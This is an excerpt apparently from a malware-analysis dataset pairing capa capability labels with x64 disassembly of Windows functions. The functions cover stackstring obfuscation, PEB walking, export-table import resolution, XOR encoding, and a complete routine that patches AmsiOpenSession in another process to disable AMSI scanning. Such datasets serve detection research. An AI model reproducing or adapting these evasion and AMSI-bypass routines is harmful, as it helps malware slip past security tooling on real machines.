joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000cfc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x14000d060
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xf8
call fcn.140009640
movdqa xmm0, xmmword [0x140010ae0]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x140010a30]
xor ebx, ebx
movdqu xmmword [rbp - 0x59], xmm0
mov qword [rbp + 0x6f], rbx
movdqa xmm0, xmmword [0x140010a60]
movdqu xmmword [rbp - 0x39], xmm0
mov dword [rbp + 0x67], ebx
movdqu xmmword [rbp - 0x49], xmm1
mov word [rbp - 0x29], 0x120e
mov byte [rbp - 0x27], 0x41
call fcn.140002230
mov rdx, rax
xor r9d, r9d
lea rax, [rbp + 0x67]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rcx, 0xffffffff80000001
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf013f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14000d263
mov rcx, qword [rbp + 0x6f]
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xe8], r12
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xd0], r15
call fcn.14000da70
mov eax, 0x41
mov dword [rbp - 0x59], 0xc0010
lea rcx, [rbp - 0x59]
mov word [rbp - 0x35], ax
mov dword [rbp - 0x55], 0x130027
mov dword [rbp - 0x51], 0x56000e
mov dword [rbp - 0x4d], 0x60015
mov dword [rbp - 0x49], 0x17000a
mov dword [rbp - 0x45], 0x1e0069
mov dword [rbp - 0x41], 0xf0003
mov dword [rbp - 0x3d], 0x2a0013
mov dword [rbp - 0x39], 0x27000f
call fcn.140001b30
lea rcx, [rbp - 0x25]
mov dword [rbp - 0x25], 5
mov rbx, rax
mov dword [rbp - 0x21], 0x51002d
mov dword [rbp - 0x1d], 0x19000d
mov dword [rbp - 0x19], 0x1d003d
mov dword [rbp - 0x15], 0x430017
mov dword [rbp - 0x11], 0x2f003e
mov dword [rbp - 0xd], 0x4c0011
mov dword [rbp - 9], 0x3e000b
mov dword [rbp - 5], 0x21000b
mov dword [rbp - 1], 0x3c0024
mov dword [rbp + 3], 0x2b000a
mov dword [rbp + 7], 0x270004
mov dword [rbp + 0xb], 0x2a001b
mov dword [rbp + 0xf], 0x230048
mov dword [rbp + 0x13], 0x3b0021
mov dword [rbp + 0x17], 0x120001
mov dword [rbp + 0x1b], 0xa0006
mov dword [rbp + 0x1f], 0x160010
mov dword [rbp + 0x23], 0x6d006a
call fcn.140001eb0
mov r9d, 0x40
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r15, qword [rsp + 0xd0]
mov al, 1
mov r14, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0x120]
add rsp, 0xf8
pop rbx
pop rbp
ret
xor al, al
add rsp, 0xf8
pop rbx
pop rbp
ret
Function at 0x14000cfd0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000d032
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000a740
test al, al
jne 0x14000d044
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000d000
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x49
mov dword [rbp - 0x20], 0x2d001a
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x3f001a
mov dword [rbp - 0x18], 0x3a002e
mov dword [rbp - 0x14], 0x280011
mov dword [rbp - 0x10], 0x260037
call fcn.1400060f0
mov rcx, rax
call 0x14000cfd0
mov qword [0x140027670], rax
lea rcx, [rbp - 0x20]
mov eax, 0x64
mov dword [rbp - 0x20], 0x2d001a
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x3f001a
mov dword [rbp - 0x18], 0x3a002e
mov dword [rbp - 0x14], 0x5b0060
call fcn.140005f00
mov rcx, rax
call 0x14000cfd0
lea rcx, [rbp - 0x20]
mov qword [0x140027660], rax
mov dword [rbp - 0x20], 0x1c003f
mov dword [rbp - 0x1c], 0x1d002c
mov dword [rbp - 0x18], 0x760007
call fcn.140005d90
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000cfd0
Function at 0x14000d5f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
movsxd rax, dword [rcx + 0x3c]
mov r12, rdx
mov rdx, rcx
mov ecx, dword [rax + rcx + 0x88]
xor eax, eax
add rcx, rdx
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x28], rcx
mov r8d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r8, rdx
mov r10d, dword [rcx + 0x24]
add r9, rdx
add r10, rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
mov qword [rbp - 0x10], r10
cmp dword [rcx + 0x18], eax
jbe 0x14000d81e
mov word [rbp + 0x50], 0x6851
mov word [rbp + 0x58], 0x6851
nop
mov esi, dword [r9 + rax*4]
lea rcx, [rbp + 0x50]
movzx eax, word [r10 + rax*2]
add rsi, rdx
xor edi, edi
mov r15d, dword [r8 + rax*4]
add r15, rdx
mov qword [rbp - 8], r15
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000d6a4
nop dword [rax]
lea rcx, [rbp + 0x50]
inc rdi
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rdi + rsi], cl
jne 0x14000d690
lea rcx, [rbp + 0x58]
xor ebx, ebx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [r12], cl
je 0x14000d6d5
nop dword [rax + rax]
lea rcx, [rbp + 0x58]
inc rbx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rbx + r12], cl
jne 0x14000d6c0
cmp rdi, rbx
jne 0x14000d7f2
mov r13, rsi
mov word [rbp - 0x50], 0x6851
sub r13, r12
mov r14, r12
nop dword [rax]
lea rcx, [rbp - 0x50]
xor ebx, ebx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000d716
lea rcx, [rbp - 0x50]
inc rbx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rbx + rsi], cl
jne 0x14000d702
mov rax, r14
sub rax, r12
dec rbx
cmp rax, rbx
jae 0x14000d818
movsx r15d, byte [r14 + r13]
lea rcx, [rbp - 0x4e]
mov dword [rbp - 0x4e], 0x680030
call fcn.140003240
movzx eax, word [rax]
cmp r15d, eax
jl 0x14000d788
lea rcx, [rbp - 0x4a]
mov dword [rbp - 0x4a], 0x68002b
call fcn.140003240
movzx ecx, word [rax]
cmp r15d, ecx
jg 0x14000d788
lea rcx, [rbp - 0x46]
mov dword [rbp - 0x46], 0x680030
mov dword [rbp - 0x42], 0x680010
call fcn.140003240
lea rcx, [rbp - 0x42]
movzx ebx, byte [rax]
call fcn.140003240
movzx ecx, byte [rax]
sub cl, bl
add r15b, cl
movsx edi, byte [r14]
lea rcx, [rbp - 0x3e]
mov dword [rbp - 0x3e], 0x680030
call fcn.140003240
movzx eax, word [rax]
cmp edi, eax
jl 0x14000d7e5
lea rcx, [rbp - 0x3a]
mov dword [rbp - 0x3a], 0x68002b
call fcn.140003240
movzx ecx, word [rax]
cmp edi, ecx
jg 0x14000d7e5
lea rcx, [rbp - 0x36]
mov dword [rbp - 0x36], 0x680030
mov dword [rbp - 0x32], 0x680010
call fcn.140003240
lea rcx, [rbp - 0x32]
movzx ebx, byte [rax]
call fcn.140003240
movzx ecx, byte [rax]
sub cl, bl
add dil, cl
cmp r15b, dil
jne 0x14000d7f2
inc r14
jmp 0x14000d6f0
mov eax, dword [rbp - 0x2c]
mov rcx, qword [rbp - 0x28]
inc eax
mov dword [rbp - 0x2c], eax
cmp eax, dword [rcx + 0x18]
jae 0x14000d81e
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x10]
jmp 0x14000d660
mov rax, qword [rbp - 8]
jmp 0x14000d820
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp ecx, 2
je 0x1400010ab
lea rcx, str.USAGE:_AAAA_Patch.exe__PID__n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001280
add rsp, 0x58
ret
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x50], rdi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov r8d, eax
lea ecx, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400010ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_OpenProcess___u__n
call fcn.140001010
lea eax, [rdi + 2]
jmp 0x14000124f
lea rcx, str.amsi.dll
mov qword [rsp + 0x60], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.AmsiOpenSession
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov byte [rsp + 0x38], 0x75
xor eax, eax
mov dword [rsp + 0x3c], 0
xor ecx, ecx
mov qword [rsp + 0x40], 0x1000
nop dword [rax + rax]
cmp byte [rcx + rbx], 0x74
je 0x14000114b
inc eax
inc rcx
cmp rcx, 0x400
jl 0x140001130
mov rax, qword [rsp + 0x30]
jmp 0x140001150
cdqe
add rax, rbx
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x3c]
mov r9d, 0x40
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140001195
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory1___u__n
call fcn.140001010
jmp 0x14000123f
xor ecx, ecx
xor eax, eax
nop dword [rax]
cmp byte [rax + rbx], 0x74
je 0x1400011ba
inc ecx
inc rax
cmp rax, 0x400
jl 0x1400011a0
mov rdx, qword [rsp + 0x30]
jmp 0x1400011c0
movsxd rdx, ecx
add rdx, rbx
mov r9d, 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x1400011f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtWriteVirtualMemory___u__n
call fcn.140001010
jmp 0x14000123f
mov r9d, dword [rsp + 0x3c]
lea rax, [rsp + 0x3c]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140001233
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory2___u__n
call fcn.140001010
jmp 0x14000123f
lea rcx, str._n___AAAA_patched____n_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001280
add rsp, 0x58
ret
Function at 0x140002b70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
xor edx, edx
mov r8d, 0x268
mov rbx, rcx
movups xmmword [rsp + 0x20], xmm0
call fcn.14001c070
cmp dword [0x14002a518], 0
lea rdi, [rbx + 0x148]
jne 0x140002bbb
mov eax, 0xffffffff
jmp 0x140002d70
lea rax, [rdi + 0x10]
mov dword [rdi], 1
mov rcx, rdi
mov qword [rdi + 8], rax
mov dword [rdi + 4], 0xe
call fcn.140001320
test eax, eax
jne 0x140002d70
lea r8, [rsp + 0x20]
mov rcx, rdi
lea rdx, [rsp + 0x20]
call fcn.140001b60
test eax, eax
jne 0x140002d70
movzx eax, byte [rsp + 0x21]
movzx r8d, byte [rsp + 0x20]
movzx r9d, byte [rsp + 0x28]
movzx ecx, byte [rsp + 0x24]
shl r8d, 8
or r8d, eax
shl r9d, 8
movzx eax, byte [rsp + 0x22]
shl r8d, 8
or r8d, eax
shl ecx, 8
movzx eax, byte [rsp + 0x23]
shl r8d, 8
or r8, rax
mov r10d, 4
movzx eax, byte [rsp + 0x25]
or ecx, eax
shl r8, 0x20
movzx eax, byte [rsp + 0x26]
shl ecx, 8
or eax, ecx
movzx ecx, byte [rsp + 0x2c]
shl eax, 8
or r8, rax
shl ecx, 8
movzx eax, byte [rsp + 0x27]
or r8, rax
movzx eax, byte [rsp + 0x29]
or r9d, eax
mov qword [rbx + 0xd8], r8
movzx eax, byte [rsp + 0x2a]
shl r9d, 8
or r9d, eax
movzx eax, byte [rsp + 0x2b]
shl r9d, 8
or r9, rax
movzx eax, byte [rsp + 0x2d]
or ecx, eax
shl r9, 0x20
movzx eax, byte [rsp + 0x2e]
shl ecx, 8
or eax, ecx
shl eax, 8
or r9, rax
movzx eax, byte [rsp + 0x2f]
or r9, rax
xor eax, eax
mov qword [rbx + 0x58], r9
mov qword [rbx + 0x98], rax
mov qword [rbx + 0x18], rax
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rbx + r10*8 + 0x18], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rbx + r10*8 + 0x98], r8
shr r10d, 1
jne 0x140002cc2
mov r10d, 2
nop dword [rax + rax]
movsxd rdx, r10d
lea r11, [rdx*8 + 0x18]
mov r9, qword [r11 + rbx]
lea rdi, [rdx*8 + 0x98]
mov r8, qword [rdi + rbx]
cmp rdx, 1
jle 0x140002d65
lea rax, [rbx + 0x20]
dec rdx
nop dword [rax + rax]
mov rcx, r8
xor rcx, qword [rax + 0x80]
mov qword [rdi + rax - 0x18], rcx
lea rax, [rax + 8]
mov rcx, r9
xor rcx, qword [rax - 8]
mov qword [r11 + rax - 0x20], rcx
sub rdx, 1
jne 0x140002d40
add r10d, r10d
cmp r10d, 0x10
jl 0x140002d10
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400037f0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140002d90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
lea r15, [0x1400254a0]
xorps xmm0, xmm0
mov r14, rcx
movups xmmword [rcx + 0x128], xmm0
mov edi, 0x10
movups xmmword [rcx + 0x138], xmm0
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r13
xorps xmm1, xmm1
mov dword [rcx], r13d
mov dword [rcx + 0x148], 1
nop word [rax + rax]
mov ebx, 0x10
cmp edi, ebx
cmovb ebx, edi
mov esi, ebx
test ebx, ebx
je 0x140002e25
mov r8, r15
lea rax, [r14 + 0x128]
sub r8, r14
mov edx, esi
nop
movzx ecx, byte [r8 + rax - 0x128]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x140002e10
lea r8, [r14 + 0x128]
mov rcx, r14
lea rdx, [r14 + 0x128]
call fcn.140002620
add r15, rsi
sub edi, ebx
jne 0x140002df0
movd eax, xmm1
lea r8, [r14 + 0x128]
movdqa xmm0, xmm1
lea rdx, [r14 + 0x128]
psrldq xmm0, 1
mov rcx, r14
xor byte [r14 + 0x128], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 2
xor byte [r14 + 0x129], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 3
xor byte [r14 + 0x12a], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
xor byte [r14 + 0x12b], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 5
xor byte [r14 + 0x12c], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 6
xor byte [r14 + 0x12d], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 7
xor byte [r14 + 0x12e], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
xor byte [r14 + 0x12f], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 9
xor byte [r14 + 0x130], al
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 0xa
psrldq xmm1, 0xb
xor byte [r14 + 0x131], al
movd eax, xmm0
xor byte [r14 + 0x132], al
movd eax, xmm1
xor byte [r14 + 0x133], al
xor byte [r14 + 0x137], 0x80
call fcn.140002620
lea r8, [r14 + 0x118]
lea rdx, [r14 + 0x128]
lea rcx, [r14 + 0x148]
call fcn.140001b60
test eax, eax
jne 0x140002f65
mov qword [r14 + 0x10], r13
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140003160
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov r14, qword [rsp + 0xb8]
mov rbx, rcx
mov r13, qword [rsp + 0xc8]
call fcn.140002d90
test eax, eax
jne 0x1400032e1
mov esi, dword [rsp + 0xc0]
add qword [rbx + 8], rsi
mov rbp, qword [rsp + 0xb0]
test esi, esi
je 0x1400032d2
nop word [rax + rax]
mov edi, 0x10
mov eax, 0x10
cmp esi, edi
cmovb edi, esi
nop
lea ecx, [rax - 1]
add byte [rcx + rbx + 0x128], 1
jne 0x1400031f4
dec eax
cmp eax, 0xc
ja 0x1400031e0
lea r8, [rsp + 0x30]
lea rdx, [rbx + 0x128]
lea rcx, [rbx + 0x148]
call fcn.140001b60
test eax, eax
jne 0x1400032e1
cmp dword [rbx], 1
jne 0x140003267
test edi, edi
je 0x1400032b0
mov r8, rbp
mov edx, edi
lea r9, [rsp + 0x30]
sub r8, rbx
sub r9, rbx
lea rcx, [rbx + 0x138]
mov r10, r14
sub r10, rbx
nop
movzx eax, byte [r9 + rcx - 0x138]
xor al, byte [r8 + rcx - 0x138]
mov byte [r10 + rcx - 0x138], al
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140003240
jmp 0x1400032b0
test edi, edi
je 0x1400032b0
mov r8, rbx
mov edx, edi
lea r9, [rsp + 0x30]
sub r8, rbp
sub r9, rbp
mov r10, r14
sub r10, rbp
mov rcx, rbp
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx]
xor byte [r8 + rcx + 0x138], al
movzx eax, byte [r9 + rcx]
xor al, byte [rcx]
mov byte [r10 + rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140003290
lea rdx, [rbx + 0x138]
mov rcx, rbx
mov r8, rdx
call fcn.140002620
mov eax, edi
add rbp, rax
add r14, rax
sub esi, edi
jne 0x1400031d0
mov rdx, r13
mov rcx, rbx
call fcn.140002f90
xor eax, eax
jmp 0x1400032e6
mov eax, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400037f0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400041d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000421a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000421a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000421a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000421a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000421a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000421c
xor al, al
add rsp, 0x28
ret

Function at 0x140007f64
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14001bd10
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14000dc9c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140007fb3
mov rax, rbp
jmp 0x1400080bb
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x295b0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14000e160
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x295b0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400080b7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400080b7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14000e160
test rax, rax
js 0x1400080b7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400080b7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1400080a9
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1400080a9
cmp byte [rcx], 0xd
jne 0x14000808f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14000809e
cmp byte [rcx + 1], 0xa
jne 0x14000809e
inc rcx
jmp 0x14000809e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x28310]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140008071
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400080bb
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400037f0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000ce90
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000cc80
Function at 0x14000e8e4
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x1400295b0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14000e942
cmp word [rdx], r12w
jne 0x14000e942
or byte [rax + r8*8 + 0x38], cl
jmp 0x14000e948
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14000eaa3
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14000ea7e
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14000e981
mov rcx, r9
jmp 0x14000e9a4
cmp r9, rdx
jae 0x14000e9bb
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14000e965
jmp 0x14000eaa3
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000ea78
cmp dword [rsp + 0x80], edi
je 0x14000ea78
mov rdx, r14
lea r11, [0x1400295b0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14000ea51
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14000ea24
mov word [rbx], r12w
jmp 0x14000ea9f
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14000ea2d
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14000ea9f
cmp word [rsp + 0x70], r12w
jne 0x14000ea5e
cmp rbx, rsi
je 0x14000ea1e
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.14000e168
cmp word [rsp + 0x70], r12w
je 0x14000eaa3
mov word [rbx], r13w
jmp 0x14000ea9f
lea r11, [0x1400295b0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14000ea9b
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14000eaa3
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140012f88
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x140012fba
call fcn.14000f640
mov dword [rax], 0x16
call fcn.14000dc34
jmp 0x1400130d9
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400130d9
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400130d9
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140012fe9
lock or dword [rcx + 0x14], 0x10
jmp 0x1400130d9
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140012ffd
call fcn.140018a50
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.14000dc9c
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14000ed90
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1400130c7
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x140013092
mov rcx, rsi
call fcn.14000dc9c
cmp eax, edi
je 0x14001307d
mov rcx, rsi
call fcn.14000dc9c
cmp eax, 0xfffffffe
je 0x14001307d
mov rcx, rsi
call fcn.14000dc9c
movsxd rbx, eax
lea r14, [0x1400295b0]
mov rcx, rsi
sar rbx, 6
call fcn.14000dc9c
and eax, 0x3f
lea rcx, [rax + rax*8]
